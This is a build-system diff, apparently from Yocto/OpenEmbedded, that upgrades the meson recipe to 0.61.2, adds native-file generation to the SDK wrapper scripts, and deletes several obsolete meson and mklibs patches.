--- a/meta/recipes-devtools/meson/meson/cross-prop-default.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-meson.build files that use cc.run() in native builds can silently fallback to
-meson.get_cross_property() in cross builds without an exe-wrapper, but there's
-no way to know that this is happening.
-
-As the defaults may be pessimistic (for example, disabling the support for a
-feature that should be enabled) emit a warning when the default is used, so that
-the recipe can explicitly set the cross property as relevant.
-
-Upstream-Status: Submitted [https://github.com/mesonbuild/meson/pull/5071]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/mesonbuild/interpreter.py b/mesonbuild/interpreter.py
-index 3c3cfae0..10e741ae 100644
---- a/mesonbuild/interpreter.py
-+++ b/mesonbuild/interpreter.py
-@@ -1890,6 +1890,7 @@ class MesonMain(InterpreterObject):
- return props[propname]
- except Exception:
- if len(args) == 2:
-+ mlog.warning('Cross property %s is using default value %s' % (propname, args[1]))
- return args[1]
- raise InterpreterException('Unknown cross property: %s.' % propname)
-
diff --git a/meta/recipes-devtools/meson/meson/dbc9e971bd320f3df15c1ee74f54858e6792b183.patch b/meta/recipes-devtools/meson/meson/dbc9e971bd320f3df15c1ee74f54858e6792b183.patch
deleted file mode 100644
index 7ea8a133e6..0000000000
--- a/meta/recipes-devtools/meson/meson/dbc9e971bd320f3df15c1ee74f54858e6792b183.patch
+++ /dev/null
@@ -1,95 +0,0 @@
-From dbc9e971bd320f3df15c1ee74f54858e6792b183 Mon Sep 17 00:00:00 2001
-From: Xavier Claessens <xavier.claessens@collabora.com>
-Date: Fri, 11 Oct 2019 11:01:22 -0400
-Subject: [PATCH] Remove duplicated object files in static libraries
-
-When a static library link_whole to a bunch of other static libraries,
-we have to extract all their objects recursively. But that could
-introduce duplicated objects. ar is dumb enough to allow this without
-error, but once the resulting static library is linked into an
-executable or shared library, the linker will complain about duplicated
-symbols.
-
-Upstream-Status: Backport
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
----
- mesonbuild/backend/backends.py | 3 ++-
- test cases/unit/69 static link/lib/func17.c | 4 ++++
- test cases/unit/69 static link/lib/func18.c | 6 ++++++
- test cases/unit/69 static link/lib/func19.c | 7 +++++++
- test cases/unit/69 static link/lib/meson.build | 12 ++++++++++++
- 5 files changed, 31 insertions(+), 1 deletion(-)
- create mode 100644 test cases/unit/69 static link/lib/func17.c
- create mode 100644 test cases/unit/69 static link/lib/func18.c
- create mode 100644 test cases/unit/69 static link/lib/func19.c
-
-diff --git a/mesonbuild/backend/backends.py b/mesonbuild/backend/backends.py
-index 947be1cbef..e54809657f 100644
---- a/mesonbuild/backend/backends.py
-+++ b/mesonbuild/backend/backends.py
-@@ -281,7 +281,8 @@ def relpath(self, todir, fromdir):
- os.path.join('dummyprefixdir', fromdir))
-
- def flatten_object_list(self, target, proj_dir_to_build_root=''):
-- return self._flatten_object_list(target, target.get_objects(), proj_dir_to_build_root)
-+ obj_list = self._flatten_object_list(target, target.get_objects(), proj_dir_to_build_root)
-+ return list(dict.fromkeys(obj_list))
-
- def _flatten_object_list(self, target, objects, proj_dir_to_build_root):
- obj_list = []
-diff --git a/test cases/unit/69 static link/lib/func17.c b/test cases/unit/69 static link/lib/func17.c
-new file mode 100644
-index 0000000000..d1d8ec498c
---- /dev/null
-+++ b/test cases/unit/69 static link/lib/func17.c
-@@ -0,0 +1,4 @@
-+int func17()
-+{
-+ return 1;
-+}
-diff --git a/test cases/unit/69 static link/lib/func18.c b/test cases/unit/69 static link/lib/func18.c
-new file mode 100644
-index 0000000000..c149085ba4
---- /dev/null
-+++ b/test cases/unit/69 static link/lib/func18.c
-@@ -0,0 +1,6 @@
-+int func17();
-+
-+int func18()
-+{
-+ return func17() + 1;
-+}
-diff --git a/test cases/unit/69 static link/lib/func19.c b/test cases/unit/69 static link/lib/func19.c
-new file mode 100644
-index 0000000000..69120e4bf8
---- /dev/null
-+++ b/test cases/unit/69 static link/lib/func19.c
-@@ -0,0 +1,7 @@
-+int func17();
-+int func18();
-+
-+int func19()
-+{
-+ return func17() + func18();
-+}
-diff --git a/test cases/unit/69 static link/lib/meson.build b/test cases/unit/69 static link/lib/meson.build
-index 5f04aab6a1..8f95fc4546 100644
---- a/test cases/unit/69 static link/lib/meson.build
-+++ b/test cases/unit/69 static link/lib/meson.build
-@@ -66,3 +66,15 @@ libfunc15 = static_library('func15', 'func15.c',
- libfunc16 = static_library('func16', 'func16.c',
- link_with : libfunc15,
- install : true)
-+
-+# Verify func17.c.o gets included only once into libfunc19, otherwise
-+# func19-shared would failed with duplicated symbol.
-+libfunc17 = static_library('func17', 'func17.c',
-+ install : false)
-+libfunc18 = static_library('func18', 'func18.c',
-+ link_with : libfunc17,
-+ install : false)
-+libfunc19 = static_library('func19', 'func19.c',
-+ link_whole : [libfunc17, libfunc18],
-+ install : false)
-+shared_library('func19-shared', link_whole : [libfunc19])
diff --git a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch b/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
index 4b1fb57dd4..7aaed8b4a3 100644
--- a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
+++ b/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
@@ -1,26 +1,37 @@
-We need to allow our rpaths generated through the compiler flags to make it into
+From 18600f7a1cddf23aeabd188f86e66983f27ccfe3 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 23 Nov 2018 15:28:28 +0000
+Subject: [PATCH] meson: Disable rpath stripping at install time
+
+We need to allow our rpaths generated through the compiler flags to make it into
our binaries. Therefore disable the meson manipulations of these unless there
is a specific directive to do something differently in the project.
RP 2018/11/23
Upstream-Status: Submitted [https://github.com/mesonbuild/meson/issues/2567]
+---
+ mesonbuild/minstall.py | 7 +++++--
+ 1 file changed, 5 insertions(+), 2 deletions(-)
-Index: meson-0.47.2/mesonbuild/minstall.py
-===================================================================
---- meson-0.47.2.orig/mesonbuild/minstall.py
-+++ meson-0.47.2/mesonbuild/minstall.py
-@@ -486,8 +486,11 @@ class Installer:
- printed_symlink_error = True
- if os.path.isfile(outname):
+diff --git a/mesonbuild/minstall.py b/mesonbuild/minstall.py
+index 7d0da13..17d50db 100644
+--- a/mesonbuild/minstall.py
++++ b/mesonbuild/minstall.py
+@@ -718,8 +718,11 @@ class Installer:
+ if file_copied:
+ self.did_install_something = True
try:
-- depfixer.fix_rpath(outname, install_rpath, final_path,
-- install_name_mappings, verbose=False)
+- self.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
+- install_name_mappings, verbose=False)
+ if install_rpath:
-+ depfixer.fix_rpath(outname, install_rpath, final_path,
-+ install_name_mappings, verbose=False)
++ self.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
++ install_name_mappings, verbose=False)
+ else:
+ print("RPATH changes at install time disabled")
except SystemExit as e:
if isinstance(e.code, int) and e.code == 0:
pass
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/meson/meson/meson-setup.py b/meta/recipes-devtools/meson/meson/meson-setup.py
index 808e2a062f..daaa551de2 100755
--- a/meta/recipes-devtools/meson/meson/meson-setup.py
+++ b/meta/recipes-devtools/meson/meson/meson-setup.py
@@ -10,9 +10,13 @@ class Template(string.Template):
class Environ():
def __getitem__(self, name):
val = os.environ[name]
- val = ["'%s'" % x for x in val.split()]
- val = ', '.join(val)
- val = '[%s]' % val
+ val = val.split()
+ if len(val) > 1:
+ val = ["'%s'" % x for x in val]
+ val = ', '.join(val)
+ val = '[%s]' % val
+ elif val:
+ val = "'%s'" % val.pop()
return val
try:
@@ -23,9 +27,17 @@ except KeyError:
template_file = os.path.join(sysroot, 'usr/share/meson/meson.cross.template')
cross_file = os.path.join(sysroot, 'usr/share/meson/%smeson.cross' % os.environ["TARGET_PREFIX"])
+native_template_file = os.path.join(sysroot, 'usr/share/meson/meson.native.template')
+native_file = os.path.join(sysroot, 'usr/share/meson/meson.native')
with open(template_file) as in_file:
template = in_file.read()
output = Template(template).substitute(Environ())
with open(cross_file, "w") as out_file:
out_file.write(output)
+
+with open(native_template_file) as in_file:
+ template = in_file.read()
+ output = Template(template).substitute({'OECORE_NATIVE_SYSROOT': os.environ['OECORE_NATIVE_SYSROOT']})
+ with open(native_file, "w") as out_file:
+ out_file.write(output)
diff --git a/meta/recipes-devtools/meson/meson/meson-wrapper b/meta/recipes-devtools/meson/meson/meson-wrapper
index d4ffe60f9a..8fafaad975 100755
--- a/meta/recipes-devtools/meson/meson/meson-wrapper
+++ b/meta/recipes-devtools/meson/meson/meson-wrapper
@@ -4,6 +4,10 @@ if [ -z "$OECORE_NATIVE_SYSROOT" ]; then
echo "OECORE_NATIVE_SYSROOT not set; are you in a Yocto SDK environment?" >&2
fi
+if [ -z "$SSL_CERT_DIR" ]; then
+ export SSL_CERT_DIR="${OECORE_NATIVE_SYSROOT}/etc/ssl/certs/"
+fi
+
# If these are set to a cross-compile path, meson will get confused and try to
# use them as native tools. Unset them to prevent this, as all the cross-compile
# config is already in meson.cross.
@@ -11,4 +15,5 @@ unset CC CXX CPP LD AR NM STRIP
exec "$OECORE_NATIVE_SYSROOT/usr/bin/meson.real" \
--cross-file "${OECORE_NATIVE_SYSROOT}/usr/share/meson/${TARGET_PREFIX}meson.cross" \
+ --native-file "${OECORE_NATIVE_SYSROOT}/usr/share/meson/meson.native" \
"$@"
diff --git a/meta/recipes-devtools/meson/meson_0.52.0.bb b/meta/recipes-devtools/meson/meson_0.52.0.bb
deleted file mode 100644
index 897fa148d9..0000000000
--- a/meta/recipes-devtools/meson/meson_0.52.0.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-include meson.inc
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/meson/meson_0.61.2.bb b/meta/recipes-devtools/meson/meson_0.61.2.bb
new file mode 100644
index 0000000000..8304bfdac9
--- /dev/null
+++ b/meta/recipes-devtools/meson/meson_0.61.2.bb
@@ -0,0 +1,133 @@
+HOMEPAGE = "http://mesonbuild.com"
+SUMMARY = "A high performance build system"
+DESCRIPTION = "Meson is a build system designed to increase programmer \
+productivity. It does this by providing a fast, simple and easy to use \
+interface for modern software development tools and practices."
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI = "https://github.com/mesonbuild/meson/releases/download/${PV}/meson-${PV}.tar.gz \
+ file://meson-setup.py \
+ file://meson-wrapper \
+ file://0001-python-module-do-not-manipulate-the-environment-when.patch \
+ file://disable-rpath-handling.patch \
+ file://0001-Make-CPU-family-warnings-fatal.patch \
+ file://0002-Support-building-allarch-recipes-again.patch \
+ file://0001-is_debianlike-always-return-False.patch \
+ "
+SRC_URI[sha256sum] = "0233a7f8d959079318f6052b0939c27f68a5de86ba601f25c9ee6869fb5f5889"
+
+UPSTREAM_CHECK_URI = "https://github.com/mesonbuild/meson/releases"
+UPSTREAM_CHECK_REGEX = "meson-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit setuptools_build_meta
+
+RDEPENDS:${PN} = "ninja python3-modules python3-pkg-resources"
+
+FILES:${PN} += "${datadir}/polkit-1"
+
+do_install:append () {
+ # As per the same issue in the python recipe itself:
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm ${D}${libdir}/python*/site-packages/mesonbuild/dependencies/__pycache__/mpi.cpython*
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit meson-routines
+
+# The cross file logic is similar but not identical to that in meson.bbclass,
+# since it's generating for an SDK rather than a cross-compile. Important
+# differences are:
+# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
+# real paths by meson-setup.sh when the SDK is extracted.
+# - Some overrides aren't needed, since the SDK injects paths that take care of
+# them.
+def var_list2str(var, d):
+ items = d.getVar(var).split()
+ return items[0] if len(items) == 1 else ', '.join(repr(s) for s in items)
+
+def generate_native_link_template(d):
+ val = ['-L@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-L@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,--allow-shlib-undefined'
+ ]
+ build_arch = d.getVar('BUILD_ARCH')
+ if 'x86_64' in build_arch:
+ loader = 'ld-linux-x86-64.so.2'
+ elif 'i686' in build_arch:
+ loader = 'ld-linux.so.2'
+ elif 'aarch64' in build_arch:
+ loader = 'ld-linux-aarch64.so.1'
+ elif 'ppc64le' in build_arch:
+ loader = 'ld64.so.2'
+
+ if loader:
+ val += ['-Wl,--dynamic-linker=@{OECORE_NATIVE_SYSROOT}${base_libdir_native}/' + loader]
+
+ return repr(val)
+
+do_install:append:class-nativesdk() {
+ install -d ${D}${datadir}/meson
+
+ cat >${D}${datadir}/meson/meson.native.template <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+pkgconfig = 'pkg-config-native'
+
+[built-in options]
+c_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+c_link_args = ${@generate_native_link_template(d)}
+cpp_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+cpp_link_args = ${@generate_native_link_template(d)}
+[properties]
+sys_root = '@OECORE_NATIVE_SYSROOT'
+EOF
+
+ cat >${D}${datadir}/meson/meson.cross.template <<EOF
+[binaries]
+c = @CC
+cpp = @CXX
+ar = @AR
+nm = @NM
+strip = @STRIP
+pkgconfig = 'pkg-config'
+
+[built-in options]
+c_args = @CFLAGS
+c_link_args = @LDFLAGS
+cpp_args = @CPPFLAGS
+cpp_link_args = @LDFLAGS
+
+[properties]
+needs_exe_wrapper = true
+sys_root = @OECORE_TARGET_SYSROOT
+
+[host_machine]
+system = '${SDK_OS}'
+cpu_family = '${@meson_cpu_family("SDK_ARCH", d)}'
+cpu = '${SDK_ARCH}'
+endian = '${@meson_endian("SDK", d)}'
+EOF
+
+ install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
+ install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
+
+ # We need to wrap the real meson with a thin env setup wrapper.
+ mv ${D}${bindir}/meson ${D}${bindir}/meson.real
+ install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
+}
+
+FILES:${PN}:append:class-nativesdk = "${datadir}/meson ${SDKPATHNATIVE}"
diff --git a/meta/recipes-devtools/meson/nativesdk-meson_0.52.0.bb b/meta/recipes-devtools/meson/nativesdk-meson_0.52.0.bb
deleted file mode 100644
index 1756f342ce..0000000000
--- a/meta/recipes-devtools/meson/nativesdk-meson_0.52.0.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-include meson.inc
-
-inherit nativesdk
-inherit siteinfo
-
-SRC_URI += "file://meson-setup.py \
- file://meson-wrapper"
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
-
-# The cross file logic is similar but not identical to that in meson.bbclass,
-# since it's generating for an SDK rather than a cross-compile. Important
-# differences are:
-# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
-# real paths by meson-setup.sh when the SDK is extracted.
-# - Some overrides aren't needed, since the SDK injects paths that take care of
-# them.
-do_install_append() {
- install -d ${D}${datadir}/meson
- cat >${D}${datadir}/meson/meson.cross.template <<EOF
-[binaries]
-c = @CC
-cpp = @CXX
-ar = @AR
-nm = @NM
-ld = @LD
-strip = @STRIP
-pkgconfig = 'pkg-config'
-
-[properties]
-needs_exe_wrapper = true
-c_args = @CFLAGS
-c_link_args = @LDFLAGS
-cpp_args = @CPPFLAGS
-cpp_link_args = @LDFLAGS
-
-[host_machine]
-system = '${SDK_OS}'
-cpu_family = '${SDK_ARCH}'
-cpu = '${SDK_ARCH}'
-endian = '${@meson_endian("SDK", d)}'
-EOF
-
- install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
- install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
-
- # We need to wrap the real meson with a thin env setup wrapper.
- mv ${D}${bindir}/meson ${D}${bindir}/meson.real
- install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
-}
-
-RDEPENDS_${PN} += "\
- nativesdk-ninja \
- nativesdk-python3 \
- nativesdk-python3-setuptools \
- "
-
-FILES_${PN} += "${datadir}/meson ${SDKPATHNATIVE}"
diff --git a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch b/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
deleted file mode 100644
index 422af10420..0000000000
--- a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Get the version of mklibs by simpler means. The MKLIBS_VERSION string in the
-configure.ac file is replaced with real version string by the
-do_configure_prepend() function from the recipe .bb file.
-
-Upstream-Status: Inappropriate [configuration]
-
-Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: 2011/01/24
-
-Index: mklibs/configure.ac
-===================================================================
---- mklibs.orig/configure.ac 2010-02-21 17:34:56.000000000 -0800
-+++ mklibs/configure.ac 2011-01-24 18:52:19.943242079 -0800
-@@ -1,4 +1,4 @@
--AC_INIT([mklibs],m4_esyscmd(dpkg-parsechangelog | perl -ne 'print $1 if m/^Version: (.*)$/;'))
-+AC_INIT([mklibs], MKLIBS_VERSION)
- AM_INIT_AUTOMAKE([foreign no-define])
- AC_CONFIG_HEADERS([config.h])
- AM_MAINTAINER_MODE
diff --git a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch b/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
deleted file mode 100644
index 17d9af4de4..0000000000
--- a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From dcb45256970b15b672d0004533826c94083356e5 Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Fri, 17 Apr 2015 14:48:20 +0800
-Subject: [PATCH 4/6] avoid failure on symbol provided by application
-
-Upstream-Status: Pending
-
-Undefined symbols in a library can be provided by the application
-that links to the library, such as `logsink' in libmultipath.so.0.
-This fix checks the type of object in which the symbol is needed
-and the existence of the symbol in application, when a symbol
-cannot be provided by libraries. It prevents false alarm on absence
-of symbols.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
-
----
- src/mklibs | 28 ++++++++++++++++++++++++----
- 1 file changed, 24 insertions(+), 4 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index a3533c0..66b7a09 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -133,9 +133,9 @@ class Symbol(object):
- return '@'.join(ret)
-
- class UndefinedSymbol(Symbol):
-- def __init__(self, name, weak, version, library):
-+ def __init__(self, name, weak, version, library, object):
- super(UndefinedSymbol, self).__init__(name, version, library)
-- self.weak, self.library = weak, library
-+ self.weak, self.library, self.object = weak, library, object
-
- def symbol_is_blacklisted(name):
- # The ARM Embedded ABI spec states symbols under this namespace as
-@@ -152,6 +152,11 @@ def undefined_symbols(obj):
-
- output = command("mklibs-readelf", "--print-symbols-undefined", obj)
-
-+ if len(obj) > len(dest_path) and obj[:len(dest_path)] == dest_path:
-+ object = obj[len(dest_path) + 1:-len('-so-stripped')]
-+ else:
-+ object = obj
-+
- result = []
- for line in output:
- name, weak_string, version_string, library_string = line.split()[:4]
-@@ -171,7 +176,7 @@ def undefined_symbols(obj):
- if library_string.lower() != 'none':
- library = library_string
-
-- result.append(UndefinedSymbol(name, weak, version, library))
-+ result.append(UndefinedSymbol(name, weak, version, library, object))
-
- return result
-
-@@ -498,12 +503,13 @@ while 1:
- and re.search("^ps_", str(symbol)))
- and not (re.search("ld-linux.so.3$", str(symbol)))
- and not (re.search("^__gnu_local_gp", str(symbol)))):
-- debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s" % (symbol, symbol.weak))
-+ debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s, for %s" % (symbol, symbol.weak, obj))
- needed_symbols[str(symbol)] = symbol
- libraries.update(library_depends(obj))
-
- # calculate what symbols are present in small_libs and available_libs
- present_symbols = {}
-+ present_symbol_progs = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
- checked_libs.append(sysroot + ldlib)
-@@ -513,6 +519,12 @@ while 1:
- names = symbol.base_names()
- for name in names:
- present_symbols[name] = symbol
-+ if not so_pattern.match(lib):
-+ debug(DEBUG_SPAM, "present_symbol_progs adding %s, from executable %s" % (' '.join(names), lib))
-+ for name in names:
-+ progs = present_symbol_progs.get(name, set())
-+ progs.add(lib)
-+ present_symbol_progs[name] = progs
-
- # are we finished?
- num_unresolved = 0
-@@ -568,6 +580,14 @@ while 1:
- for name in needed_symbols:
- if not name in symbol_provider:
- if not needed_symbols[name].weak:
-+ # WORKAROUND: Undefined symbols in a library can be provided by the application
-+ # that links to the library. So if the object which requires the symbol is a library
-+ # and some application can provide the symbol, the undefined symbol is skipped.
-+ symbol = needed_symbols[name]
-+ if so_pattern.match(symbol.object) and present_symbol_progs.get(name, None):
-+ debug(DEBUG_SPAM, "symbol %s in library %s is provided by executable %s" \
-+ % (name, symbol.object, ' '.join(present_symbol_progs[name])))
-+ continue
- raise Exception("No library provides non-weak %s" % name)
- else:
- lib = symbol_provider[name]
---
-2.16.1
-
diff --git a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch b/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
deleted file mode 100644
index d27a48916d..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-The libc6-dev in Ubuntu 9.04 is so old that the elf.h doesn't
-define STT_GNU_IFUNC, so we have to define it ourselves.
-
-Upstream-Status: Inappropriate [other] - old release specific, maybe removable
-
--- Dexuan Cui (dexuan.cui@intel.com) Feb 16, 2011.
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 2444c39..56d93f8 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -6,6 +6,14 @@
- #include <vector>
-
- #include <elf.h>
-+/*
-+ * The /usr/include/elf.h in some distributions(like Ubuntu 9.04) doesn't
-+ * define the macro. We need to define it here.
-+ */
-+#ifndef STT_GNU_IFUNC
-+#define STT_GNU_IFUNC 10 /* Symbol is indirect code object */
-+#endif
-+
- #include <getopt.h>
-
- #include "elf.hpp"
diff --git a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch b/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
deleted file mode 100644
index 13e4606b80..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-Remove dependency on dpkg
-
-Upstream-Status: Submitted
-
-Asking the host OS whether it supports multiarch is not useful
-in a cross-compilation environment, or if the user has specified
-a libdir explicitly. So this patch, based on the work of Mentor
-Graphics, removes mklibs's dependency on dpkg package.
-
-Signed-off-by: Yuanjie Huang <Yuanjie.Huang@windriver.com>
- src/mklibs | 30 +++++++++++++++++++-----------
- 1 file changed, 19 insertions(+), 11 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index d9b784b..c5614ea 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -261,6 +261,11 @@ def extract_soname(so_file):
- return ""
-
- def multiarch(paths):
-+ # Asking the host OS whether it supports multiarch is not useful
-+ # in a cross-compilation environment, or if the user has specified
-+ # a libdir explicitly.
-+ if sysroot != "" or libdir != "":
-+ return paths
- devnull = open('/dev/null', 'w')
- dpkg_architecture = subprocess.Popen(
- ['dpkg-architecture', '-qDEB_HOST_MULTIARCH'],
-@@ -340,7 +345,7 @@ lib_path = []
- dest_path = "DEST"
- ldlib = "LDLIB"
- include_default_lib_path = "yes"
--default_lib_path = multiarch(["/lib/", "/usr/lib/", "/usr/X11R6/lib/"])
-+default_lib_path = ["/lib/", "/usr/lib/", "/usr/X11R6/lib/"]
- libc_extras_dir = "/usr/lib/libc_pic"
- libc_extras_dir_default = True
- libdir = "lib"
-@@ -386,7 +391,7 @@ for opt, arg in optlist:
- elif opt == "--libdir":
- libdir = arg
- elif opt in ("--help", "-h"):
-- usage(0)
-+ usage(0)
- sys.exit(0)
- elif opt in ("--version", "-V"):
- version(vers)
-@@ -395,6 +400,7 @@ for opt, arg in optlist:
- print "WARNING: unknown option: " + opt + "\targ: " + arg
-
- if include_default_lib_path == "yes":
-+ default_lib_path = multiarch(default_lib_path)
- lib_path.extend([a.replace("/lib/", "/" + libdir + "/") for a in default_lib_path])
-
- if libc_extras_dir_default:
-@@ -661,16 +669,16 @@ ld_path_name = os.path.dirname(ldlib)
- ld_full_path = "../" + ldlib
- ld_file = find_lib(ld_file_name)
-
--if ld_path_name != "/lib":
-- if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-- os.remove(dest_path + "/" + ld_file_name)
-+#if ld_path_name != "/lib":
-+# if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+# os.remove(dest_path + "/" + ld_file_name)
-
--if not os.path.exists(dest_path + "/../" + ld_path_name):
-- os.mkdir(dest_path + "/../" + ld_path_name)
-+#if not os.path.exists(dest_path + "/../" + ld_path_name):
-+# os.mkdir(dest_path + "/../" + ld_path_name)
-
--if not os.access(dest_path + "/" + ld_full_path, os.F_OK):
-- debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_full_path)
-+if not os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+ debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_file_name)
- command(target + "objcopy", "--strip-unneeded -R .note -R .comment",
-- ld_file, dest_path + "/" + ld_full_path)
-+ ld_file, dest_path + "/" + ld_file_name)
-
--os.chmod(dest_path + "/" + ld_full_path, 0755)
-+os.chmod(dest_path + "/" + ld_file_name, 0755)
diff --git a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch b/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
deleted file mode 100644
index bc56593e6a..0000000000
--- a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From eddf04c7f8312e9c29cdb24e431b7e4fb2cc70ed Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Wed, 15 Apr 2015 14:00:06 +0800
-Subject: [PATCH] Show GNU unique symbols as provided symbols
-
-Upstream-Status: Submitted
-
-GNU Unique symbol is a GNU extension employed by new version of GCC
-by default. Even Standard C++ library in GCC 4.9 provides some symbols,
-such as _ZNSs4_Rep20_S_empty_rep_storageE in this binding type instead
-of ELF standard weak binding.
-This patch adds support of this new binding type to mklibs-readelf.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
----
- src/mklibs-readelf/main.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 56d93f8..0134530 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -88,7 +88,7 @@ static void process_symbols_provided (const Elf::section_type<Elf::section_type_
- uint8_t type = symbol->get_type ();
- const std::string &name = symbol->get_name_string ();
-
-- if (bind != STB_GLOBAL && bind != STB_WEAK)
-+ if (bind != STB_GLOBAL && bind != STB_WEAK && bind != STB_GNU_UNIQUE)
- continue;
- if (shndx == SHN_UNDEF || shndx == SHN_ABS)
- continue;
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch b/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
deleted file mode 100644
index 75500a029a..0000000000
--- a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-In cross builds we will have to respect sysroot
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: mklibs-0.1.39/src/mklibs
-===================================================================
---- mklibs-0.1.39.orig/src/mklibs 2014-03-01 18:25:36.000000000 +0000
-+++ mklibs-0.1.39/src/mklibs 2014-10-19 00:51:46.813534596 +0000
-@@ -495,7 +495,7 @@
- present_symbols = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
-- checked_libs.append(ldlib)
-+ checked_libs.append(sysroot + ldlib)
- for lib in checked_libs:
- for symbol in provided_symbols(lib):
- debug(DEBUG_SPAM, "present_symbols adding %s" % symbol)
